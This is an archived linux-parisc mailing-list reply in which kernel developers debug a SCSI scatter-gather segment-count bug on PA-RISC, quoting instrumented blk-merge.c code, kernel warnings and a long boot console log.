X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: SCSI bug
Date: Sun, 21 Feb 2016 09:45:16 -0500
Lines: 1268
Approved: news@gmane.org
Message-ID: <C6219E31-B9EA-4CD3-AD4A-76C5945E882D@bell.net>
References: <28D5FC66-A9E6-4F3E-A8AC-F9E68A6BC543@bell.net> <82D4BF6F-05CF-4441-9530-79475BFF84F3@bell.net> <E2C8DBC2-F0AD-4C78-BD63-9C85B387E284@bell.net> <56C8E1AC.3030409@gmx.de> <038473FE-9E6D-4F03-BBD4-9844B7B529E1@bell.net> <9C42B388-96D5-412A-BAC3-14E93415CA21@bell.net> <1456026424.2268.5.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1456075196 13648 80.91.229.3 (21 Feb 2016 17:19:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 21 Feb 2016 17:19:56 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	linux-parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 21 18:19:47 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aXXfc-00080u-IE
	for glpp-linux-parisc@plane.gmane.org; Sun, 21 Feb 2016 18:19:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751778AbcBURTm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Feb 2016 12:19:42 -0500
Original-Received: from simcoe209srvr.owm.bell.net ([184.150.200.209]:19170 "EHLO
	torfep04.bell.net" rhost-flags-OK-FAIL-OK-OK) by vger.kernel.org
	with ESMTP id S1751119AbcBURTi convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Feb 2016 12:19:38 -0500
Original-Received: from bell.net torfep01 184.150.200.158 by torfep01.bell.net
          with ESMTP
          id <20160221144518.SCCQ22640.torfep01.bell.net@torspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 21 Feb 2016 09:45:18 -0500
Original-Received: from [192.168.2.10] (really [70.54.51.120]) by torspm02.bell.net
          with ESMTP
          id <20160221144517.DIUH18724.torspm02.bell.net@[192.168.2.10]>;
          Sun, 21 Feb 2016 09:45:17 -0500
In-Reply-To: <1456026424.2268.5.camel@HansenPartnership.com>
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020204.56C9CD7E.0041,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26472
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26472>

On 2016-02-20, at 10:47 PM, James Bottomley wrote:

> On Sat, 2016-02-20 at 21:52 -0500, John David Anglin wrote:
>> On 2016-02-20, at 5:52 PM, John David Anglin wrote:
>> 
>>> On 2016-02-20, at 4:59 PM, Helge Deller wrote:
>>> 
>>>> On 20.02.2016 21:43, John David Anglin wrote:
>>>>> On 2016-02-20, at 3:13 PM, John David Anglin wrote:
>>>>> 
>>>>>> On 2016-01-23, at 1:00 PM, John David Anglin wrote:
>>>>>> 
>>>>>>> WARNING: at block/blk-merge.c:454
>>>>>> 
>>>>>> With linux-image-4.4.0-1-parisc64-smp on c3740, the above
>>>>>> warning is the last message I see.
>>>>>> Kernel seems to hang at that point.  This is warning code:
>>>>>> 
>>>>>>     /*
>>>>>>      * Something must have been wrong if the figured number
>>>>>> of
>>>>>>      * segment is bigger than number of req's physical
>>>>>> segments
>>>>>>      */
>>>>>>     WARN_ON(nsegs > rq->nr_phys_segments);
>>>>> 
>>>>> On Sep. 12, 2015, I reported the following problem:
>>>>> 
>>>>> http://www.spinics.net/lists/linux-parisc/msg06327.html
>>>> 
>>>> The problem is still, that this bug can only be reproduced at
>>>> every boot when then 
>>>> scsi drivers are built as modules (and in an initrd). I could
>>>> never reproduce it when
>>>> I booted a kernel with built-in scsi drivers.
>>>> 
>>>> The bug seems to be triggered by(*nsegs)++ command in
>>>> __blk_segment_map_sg() in block/blk-merge.c.
>>>> I'm testing with the 4.4.2 kernel from debian.
>>>> I modified __blk_segment_map_sg() like that:
>>>> static inline void
>>>> __blk_segment_map_sg(struct request_queue *q, struct bio_vec
>>>> *bvec,
>>>>                   struct scatterlist *sglist, struct bio_vec
>>>> *bvprv,
>>>>                   struct scatterlist **sg, int *nsegs, int
>>>> *cluster)
>>>> {
>>>> 
>>>>      int nbytes = bvec->bv_len;
>>>> 
>>>>      if (*sg && *cluster) {
>>>>              if ((*sg)->length + nbytes >
>>>> queue_max_segment_size(q))
>>>>                      goto new_segment;
>>>> 
>>>>              if (!BIOVEC_PHYS_MERGEABLE(bvprv, bvec))
>>>>                      goto new_segment;
>>>>              if (!BIOVEC_SEG_BOUNDARY(q, bvprv, bvec))
>>>>                      goto new_segment;
>>>> 
>>>>              (*sg)->length += nbytes;
>>>>      } else {
>>>> new_segment:
>>>>              if (*sg && *cluster) {
>>>>                      printk("NEW SEGMENT sg = %p!!!\n", sg);
>>>>                      printk("__blk_segment_map_sg: length = %d,
>>>> nbytes = %d, sum = %d > %d\n", (*sg)->length, nbytes, (*sg)
>>>> ->length + nbytes, queue_max_segment_size(q));
>>>>                      printk("__blk_segment_map_sg:
>>>> BIOVEC_PHYS_MERGEABLE = %d, BIOVEC_SEG_BOUNDARY = %d\n",
>>>> BIOVEC_PHYS_MERGEABLE(bvprv, bvec), BIOVEC_SEG_BOUNDARY(q, bvprv,
>>>> bvec) );
>>>>              }
>>>>              if (!*sg)
>>>>                      *sg = sglist;
>>>>              else {
>>>>                      /*
>>>>                       * If the driver previously mapped a
>>>> shorter
>>>>                       * list, we could see a termination bit
>>>>                       * prematurely unless it fully inits the sg
>>>>                       * table on each mapping. We KNOW that
>>>> there
>>>>                       * must be more entries here or the driver
>>>>                       * would be buggy, so force clear the
>>>>                       * termination bit to avoid doing a full
>>>>                       * sg_init_table() in drivers for each
>>>> command.
>>>>                       */
>>>>                      sg_unmark_end(*sg);
>>>>                      *sg = sg_next(*sg);
>>>>              }
>>>> 
>>>>              sg_set_page(*sg, bvec->bv_page, nbytes, bvec
>>>> ->bv_offset);
>>>>              (*nsegs)++;
>>>>      }
>>>>      *bvprv = *bvec;
>>>> }
>>>> 
>>>> The boot log looks then like this:
>>>> [   43.044000] scsi_init_sgtable: count = 1, nents = 1
>>>> (there are lots of those before it!)
>>>> [   43.164000] scsi_init_sgtable: nr_phys_segments = 1
>>>> [   43.164000] scsi_init_sgtable: count = 1, nents = 1
>>>> [   43.280000] scsi_init_sgtable: nr_phys_segments = 1
>>>> [   43.280000] scsi_init_sgtable: count = 1, nents = 1
>>>> [   43.396000] scsi_init_sgtable: nr_phys_segments = 1
>>>> [   43.396000] scsi_init_sgtable: count = 1, nents = 1
>>>> [   43.512000] scsi_init_sgtable: nr_phys_segments = 1
>>>> [   43.512000] scsi_init_sgtable: count = 1, nents = 1
>>>> [   43.628000] scsi_init_sgtable: nr_phys_segments = 3
>>>> [   43.628000] NEW SEGMENT sg = 000000007fa911e8!!!
>>>> [   43.628000] __blk_segment_map_sg: length = 4096, nbytes =
>>>> 4096, sum = 8192 > 65536
>>>> [   43.628000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
>>>> BIOVEC_SEG_BOUNDARY = 1
>>>> [   43.628000] NEW SEGMENT sg = 000000007fa911e8!!!
>>>> [   43.628000] __blk_segment_map_sg: length = 4096, nbytes =
>>>> 4096, sum = 8192 > 65536
>>>> [   43.628000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
>>>> BIOVEC_SEG_BOUNDARY = 1
>>>> [   43.628000] scsi_init_sgtable: count = 3, nents = 3
>>>> [   44.224000] scsi_init_sgtable: nr_phys_segments = 1
>>>> [   44.224000] scsi_init_sgtable: count = 1, nents = 1
>>>> [   44.340000] scsi_init_sgtable: nr_phys_segments = 1
>>>> [   44.340000] scsi_init_sgtable: count = 1, nents = 1
>>>> [   44.456000] scsi_init_sgtable: nr_phys_segments = 7
>>>> [   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
>>>> [   44.456000] __blk_segment_map_sg: length = 4096, nbytes =
>>>> 4096, sum = 8192 > 65536
>>>> [   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
>>>> BIOVEC_SEG_BOUNDARY = 1
>>>> [   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
>>>> [   44.456000] __blk_segment_map_sg: length = 4096, nbytes =
>>>> 4096, sum = 8192 > 65536
>>>> [   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
>>>> BIOVEC_SEG_BOUNDARY = 1
>>>> [   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
>>>> [   44.456000] __blk_segment_map_sg: length = 4096, nbytes =
>>>> 4096, sum = 8192 > 65536
>>>> [   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
>>>> BIOVEC_SEG_BOUNDARY = 1
>>>> [   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
>>>> [   44.456000] __blk_segment_map_sg: length = 4096, nbytes =
>>>> 4096, sum = 8192 > 65536
>>>> [   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
>>>> BIOVEC_SEG_BOUNDARY = 1
>>>> [   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
>>>> [   44.456000] __blk_segment_map_sg: length = 4096, nbytes =
>>>> 4096, sum = 8192 > 65536
>>>> [   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
>>>> BIOVEC_SEG_BOUNDARY = 1
>>>> [   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
>>>> [   44.456000] __blk_segment_map_sg: length = 4096, nbytes =
>>>> 4096, sum = 8192 > 65536
>>>> [   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
>>>> BIOVEC_SEG_BOUNDARY = 1
>>>> [   44.456000] scsi_init_sgtable: count = 7, nents = 7
>>>> [   44.456000] timer_interrupt(CPU 0): delayed! cycles 4527081F
>>>> rem C6C21  next/now 14E153306E/14E146C44D
>>>> [   46.116000] scsi_init_sgtable: nr_phys_segments = 7
>>>> [   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
>>>> [   46.116000] __blk_segment_map_sg: length = 4096, nbytes =
>>>> 4096, sum = 8192 > 65536
>>>> [   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
>>>> BIOVEC_SEG_BOUNDARY = 1
>>>> [   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
>>>> [   46.116000] __blk_segment_map_sg: length = 4096, nbytes =
>>>> 4096, sum = 8192 > 65536
>>>> [   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
>>>> BIOVEC_SEG_BOUNDARY = 1
>>>> [   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
>>>> [   46.116000] __blk_segment_map_sg: length = 4096, nbytes =
>>>> 4096, sum = 8192 > 65536
>>>> [   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
>>>> BIOVEC_SEG_BOUNDARY = 1
>>>> [   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
>>>> [   46.116000] __blk_segment_map_sg: length = 4096, nbytes =
>>>> 4096, sum = 8192 > 65536
>>>> [   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
>>>> BIOVEC_SEG_BOUNDARY = 1
>>>> [   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
>>>> [   46.116000] __blk_segment_map_sg: length = 8192, nbytes =
>>>> 4096, sum = 12288 > 65536
>>>> [   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
>>>> BIOVEC_SEG_BOUNDARY = 1
>>>> [   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
>>>> [   46.116000] __blk_segment_map_sg: length = 16384, nbytes =
>>>> 4096, sum = 20480 > 65536
>>>> [   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
>>>> BIOVEC_SEG_BOUNDARY = 1
>>>> [   46.116000] scsi_init_sgtable: count = 7, nents = 7
>>>> [   46.116000] timer_interrupt(CPU 0): delayed! cycles 453F0A77
>>>> rem 223089  next/now 152BB6286E/152B93F7E5
>>>> [   47.780000] scsi_init_sgtable: nr_phys_segments = 1
>>>> [   47.780000] scsi_init_sgtable: count = 1, nents = 1
>>>> [   47.896000] scsi_init_sgtable: nr_phys_segments = 6
>>>> [   47.896000] NEW SEGMENT sg = 000000007fa911e8!!!
>>>> [   47.896000] __blk_segment_map_sg: length = 61440, nbytes =
>>>> 4096, sum = 65536 > 65536
>>>> [   47.896000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
>>>> BIOVEC_SEG_BOUNDARY = 1
>>>> [   47.896000] NEW SEGMENT sg = 000000007fa911e8!!!
>>>> [   47.896000] __blk_segment_map_sg: length = 4096, nbytes =
>>>> 4096, sum = 8192 > 65536
>>>> [   47.896000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
>>>> BIOVEC_SEG_BOUNDARY = 1
>>>> [   47.896000] NEW SEGMENT sg = 000000007fa911e8!!!
>>>> [   47.896000] __blk_segment_map_sg: length = 4096, nbytes =
>>>> 4096, sum = 8192 > 65536
>>>> [   47.896000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
>>>> BIOVEC_SEG_BOUNDARY = 1
>>>> [   47.896000] NEW SEGMENT sg = 000000007fa911e8!!!
>>>> [   47.896000] __blk_segment_map_sg: length = 8192, nbytes =
>>>> 4096, sum = 12288 > 65536
>>>> [   47.896000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
>>>> BIOVEC_SEG_BOUNDARY = 1
>>>> [   47.896000] NEW SEGMENT sg = 000000007fa911e8!!!
>>>> [   47.896000] __blk_segment_map_sg: length = 8192, nbytes =
>>>> 4096, sum = 12288 > 65536
>>>> [   47.896000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
>>>> BIOVEC_SEG_BOUNDARY = 1
>>>> [   47.896000] scsi_init_sgtable: count = 6, nents = 6
>>>> [   47.896000] timer_interrupt(CPU 0): delayed! cycles 3AB087E2
>>>> rem 23E4DE  next/now 1570BBD5EE/157097F110
>>>> [   49.324000] scsi_init_sgtable: nr_phys_segments = 1
>>>> [   49.324000] scsi_init_sgtable: count = 1, nents = 1
>>>> [   49.440000] scsi_init_sgtable: nr_phys_segments = 2
>>>> [   49.440000] NEW SEGMENT sg = 000000007fa911e8!!!
>>>> [   49.440000] __blk_segment_map_sg: length = 65536, nbytes =
>>>> 4096, sum = 69632 > 65536
>>>> 
>>>> (this is interesting! Here we reach a sum of > 65536 the first
>>>> time)
>>>> 
>>>> [   49.440000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 1,
>>>> BIOVEC_SEG_BOUNDARY = 1
>>>> [   49.440000] NEW SEGMENT sg = 000000007fa911e8!!!
>>>> [   49.440000] __blk_segment_map_sg: length = 16384, nbytes =
>>>> 4096, sum = 20480 > 65536
>>>> [   49.440000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
>>>> BIOVEC_SEG_BOUNDARY = 1
>>>> [   49.440000] *** FIXIT *** HELGE: nsegs > rq->nr_phys_segments
>>>> = 3 > 2
>>>> [   49.440000] scsi_init_sgtable: count = 3, nents = 2
>>>> [   50.116000] ------------[ cut here ]------------
>>>> [   50.172000] WARNING: at /build/linux-4.4/linux
>>>> -4.4.2/drivers/scsi/scsi_lib.c:1104
>>>> 
>>>> (this is usually a BUG(). I changed it to WARN() in the hope it
>>>> would work anyway. It didn't.)
>>>> 
>>>> [   50.260000] Modules linked in: sd_mod sr_mod cdrom ata_generic
>>>> ohci_pci ehci_pci ohci_hcd ehci_hcd pata_ns87415 sym53c8xx libata
>>>> scsi_transport_spi scsi_mod usbcorep
>>>> [   50.456000] CPU: 0 PID: 70 Comm: systemd-udevd Not tainted
>>>> 4.4.0-1-parisc64-smp #5 Debian 4.4.2-2
>>>> [   50.564000] task: 000000007f948b28 ti: 000000007fa90000
>>>> task.ti: 000000007fa90000
>>>> [   50.652000] 
>>>> [   50.672000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
>>>> [   50.728000] PSW: 00001000000001001111100100001110 Not tainted
>>>> [   50.796000] r00-03  000000ff0804f90e 00000000409ea2e0
>>>> 00000000003e2ee0 000000007fa91140
>>>> [   50.892000] r04-07  00000000003cd000 000000007f914300
>>>> 000000007f914b10 0000000000000003
>>>> [   50.988000] r08-11  0000000000000000 000000007f918000
>>>> 0000000040bdd6b0 00000000003cd800
>>>> [   51.084000] r12-15  0000000000000000 000000007fa90778
>>>> 00000000003cd000 000000007f918000
>>>> [   51.180000] r16-19  0000000000001300 0000000040bdd6b8
>>>> 0000000040bdd6bc 0000000040ba2420
>>>> [   51.276000] r20-23  0000000099116e92 0000000000000000
>>>> 00000000000002a0 00000000000002ee
>>>> [   51.372000] r24-27  0000000000000000 000000000800000e
>>>> 0000000040b60750 00000000409b3ae0
>>>> [   51.468000] r28-31  0000000000000002 000000007fa914f0
>>>> 000000007fa911e0 0000000040ba2408
>>>> [   51.564000] sr00-03  0000000000015000 0000000000000000
>>>> 0000000000000000 0000000000015000
>>>> [   51.660000] sr04-07  0000000000000000 0000000000000000
>>>> 0000000000000000 0000000000000000
>>>> [   51.756000] 
>>>> [   51.772000] IASQ: 0000000000000000 0000000000000000 IAOQ:
>>>> 00000000003e2f24 00000000003e2f28
>>>> [   51.872000]  IIR: 03ffe01f    ISR: 0000000010340000  IOR:
>>>> 000000fea4691528
>>>> [   51.956000]  CPU:        0   CR30: 000000007fa90000 CR31:
>>>> 00000000ffff7dff
>>>> [   52.040000]  ORIG_R28: 0000000040b60718
>>>> [   52.084000]  IAOQ[0]: scsi_init_sgtable+0xfc/0x1b8 [scsi_mod]
>>>> [   52.152000]  IAOQ[1]: scsi_init_sgtable+0x100/0x1b8 [scsi_mod]
>>>> [   52.224000]  RP(r2): scsi_init_sgtable+0xb8/0x1b8 [scsi_mod]
>>>> [   52.292000] Backtrace:
>>>> [   52.320000]  [<00000000003e304c>] scsi_init_io+0x6c/0x258
>>>> [scsi_mod]
>>>> [   52.396000]  [<000000000087d078>] sd_init_command+0x70/0xec8
>>>> [sd_mod]
>>>> 
>>>> In general I think the bug is somehow in blk-merge.c.
>>>> But I'm not an expert in that code.
>>> 
>>> The warning was added in this patch sequence:
>>> https://lkml.org/lkml/2015/11/23/996
>>> 
>>> Possibly, but above seems to indicate that it could be driver issue
>>> as well.
>> 
>> 
>> I believe this bug was introduced by the following merge:
>> 
>> commit 1081230b748de8f03f37f80c53dfa89feda9b8de
>> Merge: df91039 2ca495a
>> Author: Linus Torvalds <torvalds@linux-foundation.org>
>> Date:   Wed Sep 2 13:10:25 2015 -0700
>> 
>>    Merge branch 'for-4.3/core' of git://git.kernel.dk/linux-block
>> 
>>    Pull core block updates from Jens Axboe:
>>     "This first core part of the block IO changes contains:
>> 
>>       - Cleanup of the bio IO error signaling from Christoph.  We
>> used to
>>         rely on the uptodate bit and passing around of an error, now
>> we
>>         store the error in the bio itself.
>> 
>>       - Improvement of the above from myself, by shrinking the bio
>> size
>>         down again to fit in two cachelines on x86-64.
>> 
>>       - Revert of the max_hw_sectors cap removal from a revision
>> again,
>>         from Jeff Moyer.  This caused performance regressions in
>> various
>>         tests.  Reinstate the limit, bump it to a more reasonable
>> size
>>         instead.
>> 
>>       - Make /sys/block/<dev>/queue/discard_max_bytes writeable, by
>> me.
>>         Most devices have huge trim limits, which can cause nasty
>> latencies
>>         when deleting files.  Enable the admin to configure the size
>> down.
>>         We will look into having a more sane default instead of
>> UINT_MAX
>>         sectors.
>> 
>>       - Improvement of the SGP gaps logic from Keith Busch.
>> 
>>       - Enable the block core to handle arbitrarily sized bios,
>> which
>>         enables a nice simplification of bio_add_page() (which is an
>> IO hot
>>         path).  From Kent.
>> 
>>       - Improvements to the partition io stats accounting, making it
>>         faster.  From Ming Lei.
>> 
>>       - Also from Ming Lei, a basic fixup for overflow of the sysfs
>> pending
>>         file in blk-mq, as well as a fix for a blk-mq timeout race
>>         condition.
>> 
>>       - Ming Lin has been carrying Kents above mentioned patches
>> forward
>>         for a while, and testing them.  Ming also did a few fixes
>> around
>>         that.
>> 
>>       - Sasha Levin found and fixed a use-after-free problem
>> introduced by
>>         the bio->bi_error changes from Christoph.
>> 
>>       - Small blk cgroup cleanup from Viresh Kumar"
>> 
>>    * 'for-4.3/core' of git://git.kernel.dk/linux-block: (26 commits)
>>      blk: Fix bio_io_vec index when checking bvec gaps
>>      block: Replace SG_GAPS with new queue limits mask
>>      block: bump BLK_DEF_MAX_SECTORS to 2560
>>      Revert "block: remove artifical max_hw_sectors cap"
>>      blk-mq: fix race between timeout and freeing request
>>      blk-mq: fix buffer overflow when reading sysfs file of
>> 'pending'
>>      Documentation: update notes in biovecs about arbitrarily sized
>> bios
>>      block: remove bio_get_nr_vecs()
>>      fs: use helper bio_add_page() instead of open coding on
>> bi_io_vec
>>      block: kill merge_bvec_fn() completely
>>      md/raid5: get rid of bio_fits_rdev()
>>      md/raid5: split bio for chunk_aligned_read
>>      block: remove split code in blkdev_issue_{discard,write_same}
>>      btrfs: remove bio splitting and merge_bvec_fn() calls
>>      bcache: remove driver private bio splitting code
>>      block: simplify bio_add_page()
>>      block: make generic_make_request handle arbitrarily sized bios
>>      blk-cgroup: Drop unlikely before IS_ERR(_OR_NULL)
>>      block: don't access bio->bi_error after bio_put()
>>      block: shrink struct bio down to 2 cache lines again
>>      ...
> 
> If you can bisect it down to the exact commit, I might be able to work
> out what's the problem.  Otherwise, even in an all modular config, I
> can't reproduce this on 4.5-rc4, so it may be fixed upstream (just not
> backported).


I tried HEAD this morning and problem is still present.  The warning in blk-merge.c occurs
first followed by BUG:
kernel BUG at drivers/scsi/scsi_lib.c:1097! 

Entire console output is shown below:
                              
reboot: Restarting system                                                       
                                                                                
Firmware Version  2.12                                                          
                                                                                
Duplex Console IO Dependent Code (IODC) revision 1                              
------------------------------------------------------------------------------  
   (c) Copyright 1995-2004, Hewlett-Packard Company, All rights reserved        
------------------------------------------------------------------------------  
                                                                                
  Processor   Speed            State           CoProcessor        Cache Size    
  Number                                       State              Inst    Data  
  ---------  --------   ---------------------  -----------------  ------------  
      0      1000 MHz   Active                 Functional         32 MB/32 MB   
      1      1000 MHz   Idle                   Functional         32 MB/32 MB   
      2      1000 MHz   Idle                   Functional         32 MB/32 MB   
      3      1000 MHz   Idle                   Functional         32 MB/32 MB   
                                                                                
  Central Bus Speed (in MHz)  :        200                                      
  Available Memory            :   12582912  KB                                  
  Good Memory Required        : Not initialized. Defaults to 32 MB.             
                                                                                
   Primary boot path:    scsiA.0                                                
                         0/2/1/0.0                                              
   Alternate boot path:  lan.0.0.0.0                                            
                         0/3/3/0                                                
   Console path:         serial_A.643                                           
                         17.643                                                 
   Keyboard path:        usb0                                                   
                         0/3/1/0.0                                              
   Keyboard path ignored for serial consoles.                                   
                                                                                
                                                                                
                                                                                
                                                                                
---- Main Menu ---------------------------------------------------------------  
                                                                                
     Command                           Description                              
     -------                           -----------                              
     BOot [PRI|ALT|<path>]             Boot from specified path                 
     PAth [PRI|ALT|CON|KEY [<path>]]   Display or change a path                 
     SEArch [DIsplay|[[IPL] [<path>]]] Search for boot devices                  
                                                                                
     COnfiguration menu                Displays or sets boot values             
     INformation menu                  Displays hardware information            
     SERvice menu                      Displays service commands                
                                                                                
     DIsplay                           Redisplay the current menu               
     HElp [<menu>|<command>]           Display help for menu or command         
     RESET                             Restart the system                       
----                                                                            
Main Menu: Enter command or menu > bo                                           
Interact with IPL (Y, N, or Cancel)?> n                                         
                                                                                
Booting...                                                                      
Boot IO Dependent Code (IODC) revision 2                                        
                                                                                
                                                                                
HARD Booted.                                                                    
palo ipl 1.92 root@c3000 Wed Oct  9 21:48:57 CEST 2013                          
                                                                                
Partition Start(MB) End(MB) Id Type                                             
1               1      62   f0 Palo                                             
2              63     305   83 ext2                                             
3             306    2259   82 swap                                             
4            2260   70007   83 ext2                                             
                                                                                
PALO(F0) partition contains:                                                    
    0/vmlinux64 3063747(8270074) bytes @ 0x48000                                
                                                                                
Command line for kernel: 'root=/dev/sda4 console=ttyS0 HOME=/ rootfstype=ext3 c'
Selected kernel: /vmlinuz from partition 2                                      
Selected ramdisk: /initrd.img from partition 2                                  
uncompressing Linux kernel.....................................................2
.                                                                               
ELF64 executable                                                                
Entry 00100000 first 00100000 n 2                                               
Segment 0 load 00100000 size 215488 mediaptr 0x1000                             
Segment 1 load 00135000 size 7706288 mediaptr 0x36000                           
Loading ramdisk 10819353 bytes @ 3e19d000...                                    
Branching to kernel entry point 0x00100000.  If this is the last                
message you see, you may need to switch your console.  This is                  
a common symptom -- search the FAQ and mailing list at parisc-linux.org         
                                                                                
Linux version 4.5.0-rc5 (dave@atlas) (gcc version 4.9.3 (GCC) ) #1 SMP Sun Feb 6
unwind_init: start = 0x407398b0, end = 0x40776820, entries = 15607              
FP[0] enabled: Rev 1 Model 20                                                   
The 64-bit Kernel has started...                                                
Kernel default page size is 4 KB. Huge pages disabled.                          
bootconsole [ttyB0] enabled                                                     
Initialized PDC Console for debugging.                                          
Determining PDC firmware type: 64 bit PAT.                                      
model 000088b0 00000491 00000000 00000002 56bb5389fb0d1ec0 100000f0 00000008 002
vers  00000302                                                                  
CPUID vers 20 rev 5 (0x00000285)                                                
capabilities 0x35                                                               
model 9000/785/C8000                                                            
parisc_cache_init: Only equivalent aliasing supported!                          
Memory Ranges:                                                                  
 0) Start 0x0000000000000000 End 0x000000003fffffff Size   1024 MB              
 1) Start 0x0000000100000000 End 0x00000002ffdfffff Size   8190 MB              
 2) Start 0x0000004040000000 End 0x00000040ffffffff Size   3072 MB              
Total Memory: 12286 MB                                                          
initrd: 7e19d000-7ebee719                                                       
initrd: reserving 3e19d000-3ebee719 (mem_max 2ffe00000)                         
PERCPU: Embedded 17 pages/cpu @0000000042e11000 s29936 r8192 d31504 u69632      
SMP: bootstrap CPU ID is 0                                                      
Built 3 zonelists in Zone order, mobility grouping on.  Total pages: 3102215    
Kernel command line: root=/dev/sda4 console=ttyS0 HOME=/ rootfstype=ext3 clocksz
log_buf_len individual max cpu contribution: 4096 bytes                         
log_buf_len total cpu_extra contributions: 126976 bytes                         
log_buf_len min size: 131072 bytes                                              
log_buf_len: 262144 bytes                                                       
early log buf free: 127768(97%)                                                 
PID hash table entries: 4096 (order: 3, 32768 bytes)                            
Dentry cache hash table entries: 2097152 (order: 12, 16777216 bytes)            
Inode-cache hash table entries: 1048576 (order: 11, 8388608 bytes)              
Sorting __ex_table...                                                           
Memory: 12338568K/12580864K available (4668K kernel code, 1515K rwdata, 842K ro)
virtual kernel memory layout:                                                   
   vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)                
   memory  : 0x0000000040000000 - 0x0000004140000000   (266240 MB)              
     .init : 0x0000000040100000 - 0x0000000040145000   ( 276 kB)                
     .data : 0x00000000405d4000 - 0x0000000040821530   (2357 kB)                
     .text : 0x0000000040145000 - 0x00000000405d4000   (4668 kB)                
Hierarchical RCU implementation.                                                
        Build-time adjustment of leaf fanout to 64.                             
NR_IRQS:128                                                                     
clocksource: cr16: mask: 0xffffffffffffffff max_cycles: 0x1cd42e4dffb, max_idles
Console: colour dummy device 160x64                                             
------------------------                                                        
| Locking API testsuite:                                                        
----------------------------------------------------------------------------    
                                 | spin |wlock |rlock |mutex | wsem | rsem |    
  --------------------------------------------------------------------------    
                     A-A deadlock:failed|failed|  ok  |failed|failed|failed|    
                 A-B-B-A deadlock:failed|failed|  ok  |failed|failed|failed|    
             A-B-B-C-C-A deadlock:failed|failed|  ok  |failed|failed|failed|    
             A-B-C-A-B-C deadlock:failed|failed|  ok  |failed|failed|failed|    
         A-B-B-C-C-D-D-A deadlock:failed|failed|  ok  |failed|failed|failed|    
         A-B-C-D-B-D-D-A deadlock:failed|failed|  ok  |failed|failed|failed|    
         A-B-C-D-B-C-D-A deadlock:failed|failed|  ok  |failed|failed|failed|    
                    double unlock:failed|failed|failed|  ok  |failed|failed|    
                  initialize held:failed|failed|failed|failed|failed|failed|    
                 bad unlock order:  ok  |  ok  |  ok  |  ok  |  ok  |  ok  |    
  --------------------------------------------------------------------------    
              recursive read-lock:             |  ok  |             |failed|    
           recursive read-lock #2:             |  ok  |             |failed|    
            mixed read-write-lock:             |failed|             |failed|    
            mixed write-read-lock:             |failed|             |failed|    
  --------------------------------------------------------------------------    
     hard-irqs-on + irq-safe-A/12:failed|failed|  ok  |                         
     soft-irqs-on + irq-safe-A/12:failed|failed|  ok  |                         
     hard-irqs-on + irq-safe-A/21:failed|failed|  ok  |                         
